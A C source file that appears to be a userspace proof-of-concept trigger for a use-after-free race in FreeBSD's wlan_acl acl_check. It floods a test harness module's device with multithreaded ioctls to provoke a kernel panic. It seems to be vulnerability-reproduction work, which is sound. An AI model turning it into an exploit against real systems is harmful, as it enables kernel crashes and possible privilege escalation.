DF-0733 / trigger.c
/* * DF-0733 userspace trigger — drives the real-kernel object-level harness. * * Hammers /dev/df0733 with DF0733_IOCTL_CHECK from many threads. Each ioctl * invokes the REAL acl_check (lockless _find_acl) over as_hash[BUCKET] while * the module's adder+remover kthreads churn that bucket. When the foreach * cursor is parked on an entry the remover frees, the next LIST_NEXT read * touches freed memory => UAF. With INVARIANTS (default GENERIC) + * debug.use_malloc_pattern=1 the freed/poisoned le_next deref faults => * kernel panic in _find_acl / acl_check. * * Usage: ./trigger [iters] [threads] * Pre: kldload wlan ; kldload wlan_acl ; sysctl debug.use_malloc_pattern=1 ; * kldload ./harness_mod.ko */ #include <sys/types.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <pthread.h> #define DF0733_IOCTL_CHECK _IO('D', 2) static volatile unsigned long total_calls; static volatile int stop_flag; static int g_fd; static void * racer(void *arg) { unsigned long iters = (unsigned long)arg; unsigned long n = 0; while (!stop_flag) { if (ioctl(g_fd, DF0733_IOCTL_CHECK, NULL) == 0) { __sync_fetch_and_add(&total_calls, 1); } if (++n >= iters) { stop_flag = 1; break; } } return NULL; } int main(int argc, char **argv) { unsigned long iters = (argc > 1) ? strtoul(argv[1], NULL, 0) : 2000000UL; int nthreads = (argc > 2) ? atoi(argv[2]) : 4; pthread_t *tids; int i; g_fd = open("/dev/df0733", O_RDWR); if (g_fd < 0) { perror("open /dev/df0733"); fprintf(stderr, "Is harness_mod.ko loaded? Run:\n" " kldload wlan; kldload wlan_acl; " "sysctl debug.use_malloc_pattern=1; " "kldload ./harness_mod.ko\n"); return 1; } tids = calloc(nthreads, sizeof(*tids)); for (i = 0; i < nthreads; i++) pthread_create(&tids[i], NULL, racer, (void *)(iters / nthreads + 1)); for (i = 0; i < nthreads; i++) pthread_join(tids[i], NULL); printf("trigger: %lu iac_check ioctls completed, no panic " "(if you see this, the race did not fire this run)\n", total_calls); close(g_fd); return 0; } |